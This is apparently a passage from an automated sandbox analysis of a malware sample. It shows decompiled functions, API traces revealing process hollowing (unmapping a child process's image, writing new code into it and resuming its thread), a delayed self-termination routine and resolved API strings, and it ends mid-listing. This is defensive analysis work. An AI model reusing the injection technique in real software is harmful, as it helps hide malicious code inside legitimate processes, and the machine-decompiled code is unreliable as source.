Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Generic_error_categoryGeneric_error_category::_System_error_categorySystem_error_category::__atexit
String ID: POL
API String ID: 3833594402-2608245203
Opcode ID: b01be3fadcc2972e31ab3ebd2c483e1c5ff4be566eae35c5181c09b76213284b
Instruction ID: 98e47522ef3a46408ce5ac1b0abbe06b9b8f8b4aeb2b830e8f41a57cdf4134ab
Opcode Fuzzy Hash: b01be3fadcc2972e31ab3ebd2c483e1c5ff4be566eae35c5181c09b76213284b
Instruction Fuzzy Hash: 6AB01276A5030813054131D73927F6AB2ED84C4B2CBA9003FF61F02243BC4DB86540AF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: H4HU4rg1NM.exe PID: 7052 Parent PID: 6944 H4HU4rg1NM.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000003.00000002.337966869.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000003.00000002.337966869.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000003.00000002.337966869.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: iudbdfd PID: 5700 Parent PID: 664 iudbdfdCOMMON

Executed Functions

Function 004E0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 004E0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 004E016C
CreateProcessA.KERNELBASE(?,00000000), ref: 004E0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 004E0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 004E0283
GetThreadContext.KERNELBASE(00000000,?), ref: 004E029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004E02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004E02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 004E0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 004E032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 004E0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004E03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004E03E1
ResumeThread.KERNELBASE(00000000), ref: 004E03ED
ExitProcess.KERNEL32(00000000), ref: 004E0412

Memory Dump Source

Source File: 00000011.00000002.373098934.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 7cae60dcc083ba44bc7aa122253d70903876d06d9c24c872e6fa843c43e4181c
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 91B1D874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D775AD81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004E0630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004E06E2

Strings

DefWindowProcA, xrefs: 004E1374, 004E137A
CreateWindowExA, xrefs: 004E123E, 004E1244
VirtualFree, xrefs: 004E0BB2, 004E0BB8
ntdll.dll, xrefs: 004E0FE2, 004E0FE8
WaitForSingleObject, xrefs: 004E0E95, 004E0E9B
CreateFileA, xrefs: 004E088B, 004E0891
GetThreadContext, xrefs: 004E0A4C, 004E0A52
user32, xrefs: 004E06DB, 004E06E1
MessageBoxA, xrefs: 004E06EE, 004E06F4
ResumeThread, xrefs: 004E0DEF, 004E0DF5
VirtualAlloc, xrefs: 004E0AC1, 004E0AC7
WriteFile, xrefs: 004E08CD, 004E08D0
WriteProcessMemory, xrefs: 004E0CE9, 004E0CEF
ReadProcessMemory, xrefs: 004E0C4A, 004E0C50
GetMessageExtraInfo, xrefs: 004E0794, 004E079A
NtWriteVirtualMemory, xrefs: 004E112C, 004E1132
ExitProcess, xrefs: 004E1554, 004E155A
GetModuleFileNameA, xrefs: 004E0EFB, 004E0EFE
GetStartupInfoA, xrefs: 004E145B, 004E1461
RegisterClassExA, xrefs: 004E11B7, 004E11BD
NtUnmapViewOfSection, xrefs: 004E1085, 004E108B
GetFileAttributesA, xrefs: 004E13D7, 004E13DA
VirtualAllocEx, xrefs: 004E0B44, 004E0B4A
GetMessageA, xrefs: 004E12F7, 004E12FA
GetCommandLineA, xrefs: 004E0F82, 004E0F88
kernel32, xrefs: 004E07ED, 004E07F3
WinExec, xrefs: 004E0820, 004E0823
SetThreadContext, xrefs: 004E0D7A, 004E0D80
VirtualProtectEx, xrefs: 004E14E9, 004E14EF
CreateProcessA, xrefs: 004E09BB, 004E09C1
CloseHandle, xrefs: 004E0938, 004E093E
PostMessageA, xrefs: 004E12B0, 004E12B6

Memory Dump Source

Source File: 00000011.00000002.373098934.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 46039c49f43341e178071790c29ca96eb3c3509c17587996a9d471d52d22eff1
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: CDA24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 004E0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 004E0533

Strings

saodkfnosa9uin, xrefs: 004E04DA
d, xrefs: 004E0584
mfoaskdfnoa, xrefs: 004E0520, 004E0523
0, xrefs: 004E0492

Memory Dump Source

Source File: 00000011.00000002.373098934.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 2077f5884b5595ecb71405f41307382624c77687552a4277e60cc0831fcedbb4
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 43512770D083C8EAEB11CB98C849B9EBFB26F11708F144059D5842F286C3FA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004E05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004E05EC

Strings

o, xrefs: 004E0600
apfHQ, xrefs: 004E05E2, 004E05E5

Memory Dump Source

Source File: 00000011.00000002.373098934.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 3cb1b2fa396e6035e1869a3160590d2651306ca65df71327e76f6ff0a4ff8b43
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 20011270C0428CEADB11DBA5C5183AEBFB59F41309F148199C4192B341D7BA9B99CB95

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: iudbdfd PID: 6964 Parent PID: 5700 iudbdfdCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000012.00000002.385775177.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000012.00000002.385775177.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000012.00000002.385775177.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 325D.exe PID: 5776 Parent PID: 3352 325D.exeCOMMON

Executed Functions

Function 005B0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 005B0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 005B016C
CreateProcessA.KERNELBASE(?,00000000), ref: 005B0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 005B0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 005B0283
GetThreadContext.KERNELBASE(00000000,005B0610), ref: 005B029F
ReadProcessMemory.KERNELBASE(00000000,65FFFFF6,?,00000004,00000000), ref: 005B02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005B02E3
VirtualAllocEx.KERNELBASE(00000000,000000F8,4589D2FF,00003000,00000040), ref: 005B0304
NtWriteVirtualMemory.NTDLL(00000000,?,E58BB5EB,F87D83EC,00000000), ref: 005B032A
NtWriteVirtualMemory.NTDLL(00000000,00000051,00637ADF,00000061,00000000), ref: 005B0399
WriteProcessMemory.KERNELBASE(00000000,65FFFFF6,005B0568,00000004,00000000), ref: 005B03BF
SetThreadContext.KERNELBASE(00000000,005B0610), ref: 005B03E1
ResumeThread.KERNELBASE(00000000), ref: 005B03ED
ExitProcess.KERNEL32(00000000), ref: 005B0412

Memory Dump Source

Source File: 00000016.00000002.403541259.00000000005B0000.00000040.00000001.sdmp, Offset: 005B0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 366b65f111bfd00f3295fa850a646d132db0a4f472a7a4445d4e3ec63c6d4027
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 9EB1B674A00208AFDB44CF98C895F9EBBB5BF88314F248158E509AB395D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 005B0630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005B06E2

Strings

VirtualFree, xrefs: 005B0BB2, 005B0BB8
ntdll.dll, xrefs: 005B0FE2, 005B0FE8
GetCommandLineA, xrefs: 005B0F82, 005B0F88
NtWriteVirtualMemory, xrefs: 005B112C, 005B1132
GetStartupInfoA, xrefs: 005B145B, 005B1461
ReadProcessMemory, xrefs: 005B0C4A, 005B0C50
CreateFileA, xrefs: 005B088B, 005B0891
NtUnmapViewOfSection, xrefs: 005B1085, 005B108B
WinExec, xrefs: 005B0820, 005B0823
CreateProcessA, xrefs: 005B09BB, 005B09C1
PostMessageA, xrefs: 005B12B0, 005B12B6
WriteProcessMemory, xrefs: 005B0CE9, 005B0CEF
WaitForSingleObject, xrefs: 005B0E95, 005B0E9B
GetModuleFileNameA, xrefs: 005B0EFB, 005B0EFE
ResumeThread, xrefs: 005B0DEF, 005B0DF5
RegisterClassExA, xrefs: 005B11B7, 005B11BD
GetThreadContext, xrefs: 005B0A4C, 005B0A52
VirtualAlloc, xrefs: 005B0AC1, 005B0AC7
CloseHandle, xrefs: 005B0938, 005B093E
WriteFile, xrefs: 005B08CD, 005B08D0
GetMessageExtraInfo, xrefs: 005B0794, 005B079A
MessageBoxA, xrefs: 005B06EE, 005B06F4
SetThreadContext, xrefs: 005B0D7A, 005B0D80
ExitProcess, xrefs: 005B1554, 005B155A
DefWindowProcA, xrefs: 005B1374, 005B137A
VirtualProtectEx, xrefs: 005B14E9, 005B14EF
VirtualAllocEx, xrefs: 005B0B44, 005B0B4A
GetMessageA, xrefs: 005B12F7, 005B12FA
kernel32, xrefs: 005B07ED, 005B07F3
user32, xrefs: 005B06DB, 005B06E1
GetFileAttributesA, xrefs: 005B13D7, 005B13DA
CreateWindowExA, xrefs: 005B123E, 005B1244

Memory Dump Source

Source File: 00000016.00000002.403541259.00000000005B0000.00000040.00000001.sdmp, Offset: 005B0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 526dde0a96536de3609728299ad471c9cfaf0ff7738bb1dc4810fbce9ae4e856
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 4DA25460D0C6E9C9EB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00428A80, Relevance: 10.8, APIs: 7, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00428A80(void* __ebx, int __edx, void* __edi, int _a4, int _a8) {
				signed int _v8;
				signed int _v12;
				signed char* _v16;
				signed int _v20;
				signed int _v24;
				char _v38;
				struct _cpinfo _v44;
				signed char* _v48;
				void* __esi;
				signed int _t143;
				int _t146;
				signed int _t150;
				intOrPtr _t158;
				void* _t189;
				void* _t253;
				signed int _t255;
				void* _t256;
				void* _t257;

				_t253 = __edi;
				_t222 = __edx;
				_t189 = __ebx;
				_t143 =  *0x447b80; // 0xe097147a
				_v24 = _t143 ^ _t255;
				_t146 = E00428970(_a4);
				_t257 = _t256 + 4;
				_a4 = _t146;
				if(_a4 != 0) {
					_v12 = 0;
					while(_v12 < 5) {
						_t146 = _v12 * 0x30;
						_t11 = _t146 + 0x448268; // 0x21827982
						if( *_t11 != _a4) {
							_t222 = _v12 + 1;
							_v12 = _v12 + 1;
							continue;
						} else {
							_v20 = 0;
							while(_v20 < 0x101) {
								 *((char*)(_a8 + _v20 + 0x1c)) = 0;
								_v20 = _v20 + 1;
							}
							_v8 = 0;
							while(_v8 < 4) {
								_t27 = _v8 * 8; // 0x44827d
								_v16 = _v12 * 0x30 + _t27 + 0x448278;
								while(( *_v16 & 0x000000ff) != 0) {
									_t34 =  &(_v16[1]); // 0x458908c4
									if(( *_t34 & 0x000000ff) != 0) {
										_v20 =  *_v16 & 0x000000ff;
										while(1) {
											_t40 =  &(_v16[1]); // 0x458908c4
											if(_v20 > ( *_t40 & 0x000000ff)) {
												break;
											}
											_t43 = _v8 + 0x448264; // 0x3a4
											 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff |  *_t43;
											_v20 = _v20 + 1;
										}
										_v16 =  &(_v16[2]);
										continue;
									}
									break;
								}
								_v8 = _v8 + 1;
							}
							 *(_a8 + 4) = _a4;
							 *((intOrPtr*)(_a8 + 8)) = 1;
							_t56 = _a8 + 4; // 0x7d83d845
							 *((intOrPtr*)(_a8 + 0xc)) = E00428DD0(_a8,  *_t56);
							_v8 = 0;
							while(_v8 < 6) {
								_t68 = _v8 * 2; // 0x0
								 *((short*)(_a8 + 0x10 + _v8 * 2)) =  *((intOrPtr*)(_v12 * 0x30 + _t68 + 0x44826c));
								_t222 = _v8 + 1;
								_v8 = _v8 + 1;
							}
							E00428F30(_t189, _t253, _t254, _a8);
							_t147 = 0;
						}
						goto L63;
					}
					if(_a4 == 0 || _a4 == 0xfde8 || _a4 == 0xfde9) {
						L33:
						_t147 = _t146 | 0xffffffff;
					} else {
						_t222 = _a4 & 0x0000ffff;
						_t146 = IsValidCodePage(_a4 & 0x0000ffff);
						if(_t146 != 0) {
							_t192 = _a4;
							_t150 = GetCPInfo(_a4,  &_v44);
							if(_t150 == 0) {
								if( *0x4c51f0 == 0) {
									_t147 = _t150 | 0xffffffff;
								} else {
									E00428E50(_t192, _a8);
									_t147 = 0;
								}
							} else {
								_v20 = 0;
								while(_v20 < 0x101) {
									 *((char*)(_a8 + _v20 + 0x1c)) = 0;
									_v20 = _v20 + 1;
								}
								 *(_a8 + 4) = _a4;
								 *((intOrPtr*)(_a8 + 0xc)) = 0;
								if(_v44 <= 1) {
									 *((intOrPtr*)(_a8 + 8)) = 0;
								} else {
									_v48 =  &_v38;
									while(( *_v48 & 0x000000ff) != 0 && (_v48[1] & 0x000000ff) != 0) {
										_v20 =  *_v48 & 0x000000ff;
										while(_v20 <= (_v48[1] & 0x000000ff)) {
											 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff | 0x00000004;
											_v20 = _v20 + 1;
										}
										_v48 =  &(_v48[2]);
									}
									_v20 = 1;
									while(_v20 < 0xff) {
										 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff | 0x00000008;
										_v20 = _v20 + 1;
									}
									_t124 = _a8 + 4; // 0x7d83d845
									_t158 = E00428DD0(_a8,  *_t124);
									_t257 = _t257 + 4;
									 *((intOrPtr*)(_a8 + 0xc)) = _t158;
									 *((intOrPtr*)(_a8 + 8)) = 1;
								}
								_v8 = 0;
								while(_v8 < 6) {
									 *((short*)(_a8 + 0x10 + _v8 * 2)) = 0;
									_v8 = _v8 + 1;
								}
								_t222 = _a8;
								E00428F30(_t189, _t253, _t254, _a8); // executed
								_t147 = 0;
							}
						} else {
							goto L33;
						}
					}
				} else {
					E00428E50(_a8, _a8);
					_t147 = 0;
				}
				L63:
				return E00424E60(_t147, _t189, _v24 ^ _t255, _t222, _t253, _t254);
			}

0x00428a80
0x00428a80
0x00428a80
0x00428a88
0x00428a8f
0x00428a97
0x00428a9c
0x00428a9f
0x00428aa6
0x00428abb
0x00428acd
0x00428ada
0x00428add
0x00428ae6
0x00428ac7
0x00428aca
0x00000000
0x00428aec
0x00428aec
0x00428afe
0x00428b0d
0x00428afb
